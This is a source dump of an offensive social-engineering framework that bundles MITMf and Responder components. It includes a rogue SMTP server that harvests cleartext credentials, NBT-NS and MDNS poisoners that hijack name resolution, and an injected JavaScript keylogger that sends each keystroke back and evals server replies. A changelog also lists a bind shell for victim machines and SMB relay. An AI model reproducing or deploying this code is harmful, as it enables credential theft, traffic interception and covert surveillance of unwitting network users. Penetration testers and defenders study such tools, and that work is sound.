default=None, help="String you would like to replace --replace-str with. Default: '' (empty string)") 71 | options.add_argument("--replace-str", type=str, default="", help="String you would like to replace.") 72 | options.add_argument("--regex-file", type=file, help="Load file with regexes. File format: [tab][new-line]") 73 | options.add_argument("--keep-cache", action="store_true", help="Don't kill the server/client caching.") 74 | 75 | def _should_replace(self, ip, hn, mime): 76 | return mime.find(self.mime) != -1 77 | 78 | def _get_req_info(self, request): 79 | ip = request.client.getClientIP() 80 | hn = request.client.getRequestHostname() 81 | mime = request.client.headers['Content-Type'] 82 | 83 | return (ip, hn, mime) 84 | -------------------------------------------------------------------------------- /sniffer/core/servers/SMTP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import os 18 | import core.responder.settings as settings 19 | import threading 20 | 21 | from core.responder.utils import * 22 | from base64 import b64decode, b64encode 23 | from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer 24 | from core.responder.packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 25 | 26 | class SMTP: 27 | 28 | def start(self): 29 | try: 30 | if OsInterfaceIsSupported(): 31 | server1 = ThreadingTCPServer((settings.Config.Bind_To, 25), ESMTP) 32 | server2 = ThreadingTCPServer((settings.Config.Bind_To, 587), ESMTP) 33 | else: 34 | server1 = ThreadingTCPServer(('', 25), SMB1) 35 | server2 = ThreadingTCPServer(('', 587), SMB1) 36 | 37 | for server in [server1, server2]: 38 | t = threading.Thread(name='SMTP', target=server.serve_forever) 39 | t.setDaemon(True) 40 | t.start() 41 | except Exception as e: 42 | print "Error starting SMTP server: {}".format(e) 43 | print_exc() 44 | 45 | class ThreadingTCPServer(ThreadingMixIn, TCPServer): 46 | 47 | allow_reuse_address = 1 48 | 49 | def server_bind(self): 50 | if OsInterfaceIsSupported(): 51 | try: 52 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') 53 | except: 54 | pass 55 | TCPServer.server_bind(self) 56 | 57 | # ESMTP Server class 58 | class ESMTP(BaseRequestHandler): 59 | 60 | def handle(self): 61 | try: 62 | self.request.send(str(SMTPGreeting())) 63 | data = self.request.recv(1024) 64 | 65 | if data[0:4] == "EHLO": 66 | self.request.send(str(SMTPAUTH())) 67 | data = self.request.recv(1024) 68 | 69 | if data[0:4] == "AUTH": 70 | self.request.send(str(SMTPAUTH1())) 71 | data = self.request.recv(1024) 72 | 73 | if data: 74 | try: 75 | User = filter(None, b64decode(data).split('\x00')) 76 | Username = User[0] 77 | Password = User[1] 78 | except: 79 | Username = b64decode(data) 80 | 81 | self.request.send(str(SMTPAUTH2())) 82 | data = self.request.recv(1024) 83 | 84 | if data: 85 | try: Password = b64decode(data) 86 | except: Password = data 87 | 88 | SaveToDb({ 89 | 'module': 'SMTP', 90 | 'type': 'Cleartext', 91 | 'client': self.client_address[0], 92 | 'user': Username, 93 | 'cleartext': Password, 94 | 'fullhash': Username+":"+Password, 95 | }) 96 | 97 | except Exception: 98 | pass -------------------------------------------------------------------------------- /remove: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | Black='\e[0;30m' # Black 3 | Red='\e[0;31m' # Red 4 | Green='\e[0;32m' # Green 5 | Yellow='\e[0;33m' # Yellow 6 | Blue='\e[0;34m' # Blue 7 | Purple='\e[0;35m' # Purple 8 | Cyan='\e[0;36m' # Cyan 9 | White='\e[0;37m' # White 10 | 11 | # Bold 12 | BBlack='\e[1;30m' # Black 13 | BRed='\e[1;31m' # Red 14 | BGreen='\e[1;32m' # Green 15 | BYellow='\e[1;33m' # Yellow 16 | BBlue='\e[1;34m' # Blue 17 | BPurple='\e[1;35m' # Purple 18 | BCyan='\e[1;36m' # Cyan 19 | BWhite='\e[1;37m' # White 20 | echo 21 | echo -e $BYellow " ------------------------------" 22 | echo -e $BYellow " |Social Engineering Framework|" 23 | echo -e $BYellow " ------------------------------" 24 | echo -e $BBlue " |++++| Created by: $(echo -e $BYellow"Ahmad Nourallah") $(echo -e $BBlue"|++++|")" 25 | echo -e $BBlue " |++++| Verison: $(echo -e $BYellow"1.0") $(echo -e $BBlue" |++++|")" 26 | echo -e $BBlue " |++++| Date create: $(echo -e $BYellow"17/1/1") $(echo -e $BBlue"|++++|")" 27 | echo -e $BBlue " |++++| Download Page: |++++|" 28 | echo -e $BBlue " |++++|$(echo -e $BYellow" https://github.com/ahmadnourallah/SEF")$(echo -e $BBlue" |++++|")" 29 | echo 30 | echo -e $BYellow "Note: $(echo -e $BWhite"You shouldnt remove any file from tools after remove finish.")" 31 | echo -e $BYellow "Note: $(echo -e $BWhite"You should run the remove plugin from the tools directory.")" 32 | echo -e $BYellow " Note: $(echo -e $BWhite"the tools need root permissions.")" 33 | echo 34 | echo "$(echo -e $BBlue"SEF> " )$(echo -e $BWhite"Welcome to SEF remove plugin")" 35 | read -p "$(echo -e $BBlue"SEF> " )$(echo -e $BWhite"Are you accept remove tools on your computer [Y|N]:") " accept 36 | if [ "$accept" == "Y" ] || [ "$accept" == "y" ] || [ "$accept" == "yes" ] || [ "$accept" == "Yes" ] 37 | then 38 | if [ "$EUID" == 0 ] 39 | then 40 | echo 41 | echo -e $BWhite"[$(echo -e $BYellow"ok")$(echo -e $BWhite"] Get root permissions")" 42 | else 43 | echo 44 | echo -e $BWhite"[$(echo -e $BRed"error")$(echo -e $BWhite"] Get root permissions")" 45 | echo 46 | exit 47 | fi 48 | rm -r /etc/SEF/ &> /dev/null 49 | if [ "$?" == 0 ] 50 | then 51 | echo -e $BWhite"[$(echo -e $BYellow"ok")$(echo -e $BWhite"] Remove tools folder from /etc/SEF/")" 52 | else 53 | echo -e $BWhite"[$(echo -e $BRed"error")$(echo -e $BWhite"] Remove tools folder from /etc/SEF/")" 54 | fi 55 | sleep 0.2s 56 | rm -r /root/.SEF/ &> /dev/null 57 | if [ "$?" == 0 ] 58 | then 59 | echo -e $BWhite"[$(echo -e $BYellow"ok")$(echo -e $BWhite"] Remove configure folder from /root/.SEF/")" 60 | else 61 | echo -e $BWhite"[$(echo -e $BRed"error")$(echo -e $BWhite"] Remove configure folder from /root/.SEF/")" 62 | fi 63 | sleep 0.2s 64 | rm -r /bin/seframework /bin/adb &> /dev/null 65 | if [ "$?" == 0 ] 66 | then 67 | echo -e $BWhite"[$(echo -e $BYellow"ok")$(echo -e $BWhite"] Remove tools script from /bin/")" 68 | else 69 | echo -e $BWhite"[$(echo -e $BRed"error")$(echo -e $BWhite"] Remove tools script from /bin/")" 70 | echo 71 | fi 72 | 73 | else 74 | echo 75 | echo -e $BRed "Good bye $(echo -e $BWhite ".......")" 76 | echo 77 | fi 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | -------------------------------------------------------------------------------- /sniffer/core/javascript/msfkeylogger.js: -------------------------------------------------------------------------------- 1 | window.onload = function (){ 2 | var2 = ","; 3 | name = ''; 4 | function make_xhr(){ 5 | var xhr; 6 | try { 7 | xhr = new XMLHttpRequest(); 8 | } catch(e) { 9 | try { 10 | xhr = new ActiveXObject("Microsoft.XMLHTTP"); 11 | } catch(e) { 12 | xhr = new ActiveXObject("MSXML2.ServerXMLHTTP"); 13 | } 14 | } 15 | if(!xhr) { 16 | throw "failed to create XMLHttpRequest"; 17 | } 18 | return xhr; 19 | } 20 | 21 | xhr = make_xhr(); 22 | xhr.onreadystatechange = function() { 23 | if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) { 24 | eval(xhr.responseText); 25 | } 26 | } 27 | 28 | if (window.addEventListener){ 29 | //console.log("first"); 30 | document.addEventListener('keypress', function2, true); 31 | document.addEventListener('keydown', function1, true); 32 | } 33 | else if (window.attachEvent){ 34 | //console.log("second"); 35 | document.attachEvent('onkeypress', function2); 36 | document.attachEvent('onkeydown', function1); 37 | } 38 | else { 39 | //console.log("third"); 40 | document.onkeypress = function2; 41 | document.onkeydown = function1; 42 | } 43 | } 44 | 45 | function function2(e) 46 | { 47 | try 48 | { 49 | srcname = window.event.srcElement.name; 50 | }catch(error) 51 | { 52 | srcname = e.srcElement ? e.srcElement.name : e.target.name 53 | if (srcname == "") 54 | { 55 | srcname = e.target.name 56 | } 57 | } 58 | 59 | var3 = (e) ? e.keyCode : e.which; 60 | if (var3 == 0) 61 | { 62 | var3 = e.charCode 63 | } 64 | 65 | if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13) 66 | { 67 | andxhr(encodeURIComponent(var3), srcname); 68 | } 69 | } 70 | 71 | function function1(e) 72 | { 73 | try 74 | { 75 | srcname = window.event.srcElement.name; 76 | }catch(error) 77 | { 78 | srcname = e.srcElement ? e.srcElement.name : e.target.name 79 | if (srcname == "") 80 | { 81 | srcname = e.target.name 82 | } 83 | } 84 | 85 | var3 = (e) ? e.keyCode : e.which; 86 | if (var3 == 9 || var3 == 8 || var3 == 13) 87 | { 88 | andxhr(encodeURIComponent(var3), srcname); 89 | } 90 | else if (var3 == 0) 91 | { 92 | 93 | text = document.getElementById(id).value; 94 | if (text.length != 0) 95 | { 96 | andxhr(encodeURIComponent(text), srcname); 97 | } 98 | } 99 | 100 | } 101 | function andxhr(key, inputName) 102 | { 103 | if (inputName != name) 104 | { 105 | name = inputName; 106 | var2 = ","; 107 | } 108 | var2= var2 + key + ","; 109 | xhr.open("POST", "keylog", true); 110 | xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=utf-8"); 111 | xhr.send(var2 + '&&' + inputName); 112 | 113 | if (key == 13 || var2.length > 3000) 114 | { 115 | var2 = ","; 116 | } 117 | } -------------------------------------------------------------------------------- /sniffer/libs/responder/CHANGELOG: -------------------------------------------------------------------------------- 1 | ChangeLog Responder 2.1.4: 2 | - Added: FindSMB2UPTime.py 3 | - Added: FindSQLSrv.py 4 | - Added: DontRespondTo and DontRespondToName options in Responder.conf 5 | - Added: Lanman module 6 | - Added: Analyze mode 7 | - Added: SMBRelay 8 | - Removed: Old style options (On/Off). Just use -r instead of -r On. 9 | - Added [DHCP.py]: in-scope target, windows >= Vista support (-R) and unicast answers only. 10 | - Added: In-scope llmnr/nbt-ns name option 11 | - Added: Kerberos hash support 12 | - Added: DHCP INFORM take over tool (DHCP.py) 13 | - Added: MDNS Poisoner. 14 | - Added: -F command line switch to force NTLM authentication on PAC file retrieval. 15 | - Added: Ability to inject custom HTML in HTTP responses. 16 | - Added: New WPAD proxy server. Enabled by default. 17 | - Several improvements. 18 | - Added: SMTP module 19 | - Added: POP3 module 20 | - Added: MSSQL plaintext auth support 21 | - Added: SMB Relay 22 | - Added: NBT-NS name is now printed. 23 | - Added: -I command line switch (network interface). When set, this option override Responder.conf Bind_to setting. 24 | - Added: Ability to change the HTML payload returned after authentication. See Responder.conf 25 | - Added: Ability to change the pac script in Responder.conf 26 | - Added: Configuration file for Responder. See Responder.conf 27 | - Removed: Several options removed. 28 | - Added: Bind shell which when executed on a victim workstation, will bind cmd.exe to port 140. 29 | - Added: -e, --exe, --file option for serving specific files via the HTTP and WPAD server. 30 | - Added: Ability to bind Responder to a specific interface 31 | - Fix: Several fixes 32 | - Added: HTTPS module. 33 | - Added: Support for LM Hash downgrade. 34 | - Added: WPAD transparent proxy server. 35 | - Fix: minor bug fix 36 | - Fix: Fixed bug in HTTP server. 37 | - Added: Rogue LDAP auth server. Supports clear text password and NTLMSSP. 38 | - Added: Ability to turn on/off the DNS server. 39 | - Added: Icmp-Redirect.py for MITM Windows XP/2003 and earlier Domain members. 40 | - Added: SMB Clear Text function for NT4 specific. 41 | - Added: DNS server module. 42 | - Added: FTP server module. 43 | - Added: Ability to find the PDC in stealth mode with the Browser listener. 44 | - Several changes. 45 | - Removed: -d option (Domain), useless for now. 46 | - Added: SMB Extended Security NTLMSSP authentication. 47 | - Added: Fingerprint module. 48 | - Added: Ability to turn off independently capture services.(mubix) 49 | - Added: Function to grab HTTP cookies. 50 | - Fix: Typo in logfile description. 51 | - Added: Option for logging to a file (ravenium). 52 | - Added: Basic exception handling for server sockets (ravenium). 53 | - Added: Logging functionality, now logs all Responder activity to a file with date and time. 54 | - Added: Print IP address to stdout for each protocol. 55 | - Improvement: Added new line on Writedata (atucom). 56 | - Improvement: final Hash is now printed to stdout instead of NT and LM. 57 | - Fix: Fixed spelling in README (atucom). 58 | - Fix: Removed hardcoded challenge for SQL NTLM. 59 | - Fix: Removed hardcoded challenge for HTTP NTLM. 60 | - Added an HTTP server with support for ntlmv1/v2 and basic Auth. 61 | - Added command line switch support with optparse. 62 | - Added -r switch, which allows turning On/Off Wredir answers. 63 | - Added the possibility to turn off HTTP server using the -s switch. 64 | - Added LLMNR module. 65 | - Fixed bug in NTLMv1 hash parsing when clientOs and ClientVersion are 66 | empty. 67 | - Several minor changes. 68 | -------------------------------------------------------------------------------- /sniffer/libs/sergioproxy/ProxyPlugins.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2010-2011 Ben Schmidt 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import sys 20 | import inspect 21 | 22 | class ProxyPlugins: 23 | ''' 24 | This class does some magic so that all we need to do in 25 | ServerConnection is do a self.plugins.hook() call 26 | and we will call any plugin that implements the function 27 | that it came from with the args passed to the original 28 | function. 29 | 30 | To do this, we are probably abusing the inspect module, 31 | and if it turns out to be too slow it can be changed. For 32 | now, it's nice because it makes for very little code needed 33 | to tie us in. 34 | 35 | Sadly, propagating changes back to the function is not quite 36 | as easy in all cases :-/ . Right now, changes to local function 37 | vars still have to be set back in the function. This only happens 38 | in handleResponse, but is still annoying. 39 | ''' 40 | _instance = None 41 | def setPlugins(self,plugins): 42 | '''Set the plugins in use''' 43 | self.plist = [] 44 | 45 | #build a lookup list 46 | #need to clean up in future 47 | self.pmthds = {} 48 | for p in plugins: 49 | self.addPlugin(p) 50 | def addPlugin(self,p): 51 | '''Load a plugin''' 52 | self.plist.append(p) 53 | for mthd in p.implements: 54 | try: 55 | self.pmthds[mthd].append(getattr(p,mthd)) 56 | except KeyError: 57 | self.pmthds[mthd] = [getattr(p,mthd)] 58 | def removePlugin(self,p): 59 | '''Unload a plugin''' 60 | self.plist.remove(p) 61 | for mthd in p.implements: 62 | self.pmthds[mthd].remove(p) 63 | def hook(self): 64 | '''Magic to hook various function calls in sslstrip''' 65 | #gets the function name and args of our caller 66 | frame = sys._getframe(1) 67 | fname = frame.f_code.co_name 68 | keys,_,_,values = inspect.getargvalues(frame) 69 | 70 | #assumes that no one calls del on an arg :-/ 71 | args = {} 72 | for key in keys: 73 | args[key] = values[key] 74 | 75 | #prevent self conflict 76 | args['request'] = args['self'] 77 | del args['self'] 78 | 79 | #calls any plugin that has this hook 80 | try: 81 | for f in self.pmthds[fname]: 82 | a = f(**args) 83 | if a != None: args = a 84 | except KeyError: 85 | pass 86 | 87 | #pass our changes to the locals back down 88 | return args 89 | 90 | def getInstance(): 91 | if ProxyPlugins._instance == None: 92 | ProxyPlugins._instance = ProxyPlugins() 93 | 94 | return ProxyPlugins._instance 95 | 96 | getInstance = staticmethod(getInstance) 97 | -------------------------------------------------------------------------------- /sniffer/core/poisoners/NBTNS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import socket 18 | import threading 19 | import core.responder.settings as settings 20 | import core.responder.fingerprint as fingerprint 21 | 22 | from core.responder.packets import NBT_Ans 23 | from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer 24 | from core.responder.utils import * 25 | 26 | def start(): 27 | try: 28 | server = ThreadingUDPServer(('', 137), NBTNSServer) 29 | t = threading.Thread(name='NBTNS', target=server.serve_forever) 30 | t.setDaemon(True) 31 | t.start() 32 | except Exception as e: 33 | print "Error starting NBTNS server on port 137: {}".format(e) 34 | 35 | class ThreadingUDPServer(ThreadingMixIn, UDPServer): 36 | 37 | allow_reuse_address = 1 38 | 39 | def server_bind(self): 40 | if OsInterfaceIsSupported(): 41 | try: 42 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') 43 | except: 44 | pass 45 | UDPServer.server_bind(self) 46 | 47 | # Define what are we answering to. 48 | def Validate_NBT_NS(data): 49 | if settings.Config.AnalyzeMode: 50 | return False 51 | 52 | if NBT_NS_Role(data[43:46]) == "File Server": 53 | return True 54 | 55 | if settings.Config.NBTNSDomain == True: 56 | if NBT_NS_Role(data[43:46]) == "Domain Controller": 57 | return True 58 | 59 | if settings.Config.Wredirect == True: 60 | if NBT_NS_Role(data[43:46]) == "Workstation/Redirector": 61 | return True 62 | 63 | else: 64 | return False 65 | 66 | # NBT_NS Server class. 67 | class NBTNSServer(BaseRequestHandler): 68 | 69 | def handle(self): 70 | 71 | data, socket = self.request 72 | Name = Decode_Name(data[13:45]) 73 | 74 | # Break out if we don't want to respond to this host 75 | if RespondToThisHost(self.client_address[0], Name) is not True: 76 | return None 77 | 78 | if data[2:4] == "\x01\x10": 79 | 80 | if settings.Config.Finger_On_Off: 81 | Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) 82 | else: 83 | Finger = None 84 | 85 | # Analyze Mode 86 | if settings.Config.AnalyzeMode: 87 | settings.Config.AnalyzeLogger.warning("{} [Analyze mode: NBT-NS] Request for {}, ignoring".format(self.client_address[0], Name)) 88 | 89 | # Poisoning Mode 90 | else: 91 | Buffer = NBT_Ans() 92 | Buffer.calculate(data) 93 | socket.sendto(str(Buffer), self.client_address) 94 | 95 | settings.Config.PoisonersLogger.warning("{} [NBT-NS] Poisoned answer for name {} (service: {})" .format(self.client_address[0], Name, NBT_NS_Role(data[43:46]))) 96 | 97 | if Finger is not None: 98 | settings.Config.ResponderLogger.info("[FINGER] OS Version : {}".format(Finger[0])) 99 | settings.Config.ResponderLogger.info("[FINGER] Client Version : {}".format(Finger[1])) 100 | -------------------------------------------------------------------------------- /sniffer/core/banners.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # Copyright (c) 2014-2016 Marcello Salvati 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License as 7 | # published by the Free Software Foundation; either version 3 of the 8 | # License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, but 11 | # WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 13 | # General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program; if not, write to the Free Software 17 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 18 | # USA 19 | # 20 | import random 21 | 22 | banner1 = """ 23 | __ __ ___ .--. __ __ ___ 24 | | |/ `.' `. |__| | |/ `.' `. _.._ 25 | | .-. .-. '.--. .| | .-. .-. ' .' .._| 26 | | | | | | || | .' |_ | | | | | | | ' 27 | | | | | | || | .' || | | | | | __| |__ 28 | | | | | | || |'--. .-'| | | | | ||__ __| 29 | | | | | | || | | | | | | | | | | | 30 | |__| |__| |__||__| | | |__| |__| |__| | | 31 | | '.' | | 32 | | / | | 33 | `'-' |_| 34 | """ 35 | 36 | banner2= """ 37 | ███▄ ▄███▓ ██▓▄▄▄█████▓ ███▄ ▄███▓ █████▒ 38 | ▓██▒▀█▀ ██▒▓██▒▓ ██▒ ▓▒▓██▒▀█▀ ██▒▓██ ▒ 39 | ▓██ ▓██░▒██▒▒ ▓██░ ▒░▓██ ▓██░▒████ ░ 40 | ▒██ ▒██ ░██░░ ▓██▓ ░ ▒██ ▒██ ░▓█▒ ░ 41 | ▒██▒ ░██▒░██░ ▒██▒ ░ ▒██▒ ░██▒░▒█░ 42 | ░ ▒░ ░ ░░▓ ▒ ░░ ░ ▒░ ░ ░ ▒ ░ 43 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ 44 | ░ ░ ▒ ░ ░ ░ ░ ░ ░ 45 | ░ ░ ░ 46 | """ 47 | 48 | banner3 = """ 49 | ▄▄▄▄███▄▄▄▄ ▄█ ███ ▄▄▄▄███▄▄▄▄ ▄████████ 50 | ▄██▀▀▀███▀▀▀██▄ ███ ▀█████████▄ ▄██▀▀▀███▀▀▀██▄ ███ ███ 51 | ███ ███ ███ ███▌ ▀███▀▀██ ███ ███ ███ ███ █▀ 52 | ███ ███ ███ ███▌ ███ ▀ ███ ███ ███ ▄███▄▄▄ 53 | ███ ███ ███ ███▌ ███ ███ ███ ███ ▀▀███▀▀▀ 54 | ███ ███ ███ ███ ███ ███ ███ ███ ███ 55 | ███ ███ ███ ███ ███ ███ ███ ███ ███ 56 | ▀█ ███ █▀ █▀ ▄████▀ ▀█ ███ █▀ ███ 57 | """ 58 | 59 | banner4 = """ 60 | ███╗ ███╗██╗████████╗███╗ ███╗███████╗ 61 | ████╗ ████║██║╚══██╔══╝████╗ ████║██╔════╝ 62 | ██╔████╔██║██║ ██║ ██╔████╔██║█████╗ 63 | ██║╚██╔╝██║██║ ██║ ██║╚██╔╝██║██╔══╝ 64 | ██║ ╚═╝ ██║██║ ██║ ██║ ╚═╝ ██║██║ 65 | ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ 66 | """ 67 | 68 | banner5 = """ 69 | @@@@@@@@@@ @@@ @@@@@@@ @@@@@@@@@@ @@@@@@@@ 70 | @@@@@@@@@@@ @@@ @@@@@@@ @@@@@@@@@@@ @@@@@@@@ 71 | @@! @@! @@! @@! @@! @@! @@! @@! @@! 72 | !@! !@! !@! !@! !@! !@! !@! !@! !@! 73 | @!! !!@ @!@ !!@ @!! @!! !!@ @!@ @!!!:! 74 | !@! ! !@! !!! !!! !@! ! !@! !!!!!: 75 | !!: !!: !!: !!: !!: !!: !!: 76 | :!: :!: :!: :!: :!: :!: :!: 77 | ::: :: :: :: ::: :: :: 78 | : : : : : : : 79 | """ 80 | 81 | def get_banner(): 82 | banners = [banner1, banner2, banner3, banner4, banner5] 83 | return random.choice(banners) 84 | -------------------------------------------------------------------------------- /sniffer/core/poisoners/MDNS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import struct 18 | import core.responder.settings as settings 19 | import socket 20 | import threading 21 | 22 | from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer 23 | from core.responder.packets import MDNS_Ans 24 | from core.responder.utils import * 25 | 26 | def start(): 27 | try: 28 | server = ThreadingUDPMDNSServer(('', 5353), MDNSServer) 29 | t = threading.Thread(name='MDNS', target=server.serve_forever) 30 | t.setDaemon(True) 31 | t.start() 32 | except Exception as e: 33 | print "Error starting MDNS server on port 5353: {}".format(e) 34 | 35 | class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): 36 | 37 | allow_reuse_address = 1 38 | 39 | def server_bind(self): 40 | MADDR = "224.0.0.251" 41 | 42 | self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1) 43 | self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) 44 | 45 | Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton) 46 | 47 | if OsInterfaceIsSupported(): 48 | try: 49 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') 50 | except: 51 | pass 52 | UDPServer.server_bind(self) 53 | 54 | def Parse_MDNS_Name(data): 55 | try: 56 | data = data[12:] 57 | NameLen = struct.unpack('>B',data[0])[0] 58 | Name = data[1:1+NameLen] 59 | NameLen_ = struct.unpack('>B',data[1+NameLen])[0] 60 | Name_ = data[1+NameLen:1+NameLen+NameLen_+1] 61 | return Name+'.'+Name_ 62 | except IndexError: 63 | return None 64 | 65 | def Poisoned_MDNS_Name(data): 66 | data = data[12:] 67 | Name = data[:len(data)-5] 68 | return Name 69 | 70 | class MDNSServer(BaseRequestHandler): 71 | 72 | def handle(self): 73 | 74 | MADDR = "224.0.0.251" 75 | MPORT = 5353 76 | 77 | data, soc = self.request 78 | Request_Name = Parse_MDNS_Name(data) 79 | 80 | # Break out if we don't want to respond to this host 81 | if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): 82 | return None 83 | 84 | try: 85 | # Analyze Mode 86 | if settings.Config.AnalyzeMode: 87 | if Parse_IPV6_Addr(data): 88 | settings.Config.AnalyzeLogger.warning('{} [Analyze mode: MDNS] Request for {}, ignoring'.format(self.client_address[0], Request_Name)) 89 | 90 | # Poisoning Mode 91 | else: 92 | if Parse_IPV6_Addr(data): 93 | 94 | Poisoned_Name = Poisoned_MDNS_Name(data) 95 | Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To)) 96 | Buffer.calculate() 97 | soc.sendto(str(Buffer), (MADDR, MPORT)) 98 | 99 | settings.Config.PoisonersLogger.warning('{} [MDNS] Poisoned answer for name {}'.format(self.client_address[0], Request_Name)) 100 | 101 | except Exception: 102 | raise -------------------------------------------------------------------------------- /sniffer/core/mitmfapi.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014-2016 Marcello Salvati 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | """ 20 | Originally coded by @xtr4nge 21 | """ 22 | 23 | #import multiprocessing 24 | import threading 25 | import logging 26 | import json 27 | import sys 28 | 29 | from flask import Flask 30 | from core.configwatcher import ConfigWatcher 31 | from core.proxyplugins import ProxyPlugins 32 | 33 | app = Flask(__name__) 34 | 35 | class mitmfapi(ConfigWatcher): 36 | 37 | __shared_state = {} 38 | 39 | def __init__(self): 40 | self.__dict__ = self.__shared_state 41 | self.host = self.config['MITMf']['MITMf-API']['host'] 42 | self.port = int(self.config['MITMf']['MITMf-API']['port']) 43 | 44 | @app.route("/") 45 | def getPlugins(): 46 | # example: http://127.0.0.1:9999/ 47 | pdict = {} 48 | 49 | #print ProxyPlugins().plugin_list 50 | for activated_plugin in ProxyPlugins().plugin_list: 51 | pdict[activated_plugin.name] = True 52 | 53 | #print ProxyPlugins().all_plugins 54 | for plugin in ProxyPlugins().all_plugins: 55 | if plugin.name not in pdict: 56 | pdict[plugin.name] = False 57 | 58 | #print ProxyPlugins().pmthds 59 | 60 | return json.dumps(pdict) 61 | 62 | @app.route("/") 63 | def getPluginStatus(plugin): 64 | # example: http://127.0.0.1:9090/cachekill 65 | for p in ProxyPlugins().plugin_list: 66 | if plugin == p.name: 67 | return json.dumps("1") 68 | 69 | return json.dumps("0") 70 | 71 | @app.route("//") 72 | def setPluginStatus(plugin, status): 73 | # example: http://127.0.0.1:9090/cachekill/1 # enabled 74 | # example: http://127.0.0.1:9090/cachekill/0 # disabled 75 | if status == "1": 76 | for p in ProxyPlugins().all_plugins: 77 | if (p.name == plugin) and (p not in ProxyPlugins().plugin_list): 78 | ProxyPlugins().add_plugin(p) 79 | return json.dumps({"plugin": plugin, "response": "success"}) 80 | 81 | elif status == "0": 82 | for p in ProxyPlugins().plugin_list: 83 | if p.name == plugin: 84 | ProxyPlugins().remove_plugin(p) 85 | return json.dumps({"plugin": plugin, "response": 